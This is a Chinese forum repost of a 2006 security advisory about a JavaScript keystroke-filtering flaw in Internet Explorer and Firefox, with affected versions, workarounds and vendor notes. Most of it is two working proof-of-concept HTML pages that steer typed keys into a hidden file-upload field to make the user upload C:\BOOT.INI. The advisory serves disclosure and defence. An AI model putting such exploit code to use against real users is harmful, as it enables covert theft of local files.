发新话题
打印

[转载]多个厂商Web浏览器JavaScript击键事件过滤漏洞

[转载]多个厂商Web浏览器JavaScript击键事件过滤漏洞

发布日期:2006-06-06
更新日期:2006-06-06

受影响系统:
Microsoft Internet Explorer 7 Beta 2
Microsoft Internet Explorer 7 Beta 1
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 5.01
Mozilla Firefox < 1.5.0.4
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 18294

Firefox和IE都是非常流行的WEB浏览器。

Firefox、IE和其他一些WEB浏览器没有安全的处理用户的键盘输入,导致在输入文本时脚本可能取消某些击键事件。攻击者可以将键盘事件从一个输入表单暗中转到同一页面中隐藏的文件上传对话框中,导致诱骗用户上传文件。但如果要利用这个漏洞,攻击者必须能够诱骗用户手动输入所要下载文件的完整路径。

<*来源:Jesse Ruderman (jruderman@gmail.com
      Charles McAuley (cmcauley@imperfectnetworks.com
  
  链接:http://lists.grok.org.uk/piperma ... 06-June/046610.html
      http://secunia.com/advisories/20442/print/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

FIREFOX:

<HTML>
<HEAD>
<style type="text/css">
.first {
}
.second {
      color: white;
      background-color: white;
      opacity: 0;
}
</style>
<SCRIPT>
//document.onKeyDown = doKeyPress;

//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
//var i=mystring.length-1;
var i=0;
function doKeyPress(chucky)
   {
   saved = chucky.which;
   //alert(&#39;pressed &#39; + String.fromCharCode(saved) + &#39;(&#39; + saved + &#39;)&#39;);
   if (mystring != String.fromCharCode(saved).toUpperCase() ||
      i > mystring.length-1) {
     return false;
   }
   i++;
   return true;
  };
function doKeyUp () {

document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();

}

</SCRIPT>
</HEAD>
<BODY >
<FORM METHOD=POST action=file.php>
<INPUT id=&#39;asdf&#39; name="fileupload" defaultValue=&#39;asdfasdf&#39; TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="return doKeyPress(event);">
<input name=txt id=&#39;txt&#39; type=text value=&#39;&#39;
OnKeyDown="document.forms[0].fileupload.focus();"
onClick="">
<input type=button value="invisible"
onclick="document.forms[0].fileupload.className=&#39;second&#39;;">
<input type=button value="visible"
onclick="document.forms[0].fileupload.className=&#39;first&#39;;">

</FORM>
</BODY>
</HTML>

-------------------------------------------------------
INTERNET EXPLORER 6 + 7:

<HTML>
<HEAD>
<SCRIPT>
//document.onKeyDown = doKeyPress;

//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
var i=mystring.length-1;

function doKeyPress () {
e = window.event;
saved = e.keyCode;
window.status = "e.keyCode == " + e.keyCode + "character is " +
mystring.charCodeAt(i);
if(e.keyCode != mystring.charCodeAt(i))
   {
   //e.keyCode =0;
   e.returnValue=false;
   e.cancelBubble=true;
}
else {
   i--;
}
document.forms[0].fileupload.focus();

}

function doKeyUp () {

document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();

}

function switchtype() {
  /*  var e = document.getElementById(&#39;txt&#39;);
     document.forms[0].txt.setAttribute("type", "file");
     e.setAttribute("value", "asfasfsd");
  */
}

function fux0rKeys() {
  }
</SCRIPT>
</HEAD>
<BODY onload="document.forms[0].txt.value=&#39;sometext&#39;;
document.forms[0].fileupload.value=&#39;asdfsdfadsf&#39;;">
<FORM METHOD=POST action=file.php>
<INPUT id=&#39;asdf&#39; name="fileupload" defaultValue=&#39;asdfasdf&#39; TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="doKeyPress();">
<input name=txt id=&#39;txt&#39; type=text value=&#39;asdfsdafasdf&#39;
OnKeyDown="document.forms[0].fileupload.focus();"
asdfnKeyDown="document.forms[0].txt.fireEvent(&#39;onKeyPress&#39;);"
onClick=""> visible
</FORM>
</BODY>
</HTML>

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 禁用JavaScript支持;
* 在访问不可信任站点时不要输入可疑文本。

厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp

Mozilla
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.mozilla.org/
冷霜映雪原上清,月朗无云万里晴,凝水成冰河成路,君成仙上别客卿。来自nettf.net的问候。

TOP

发新话题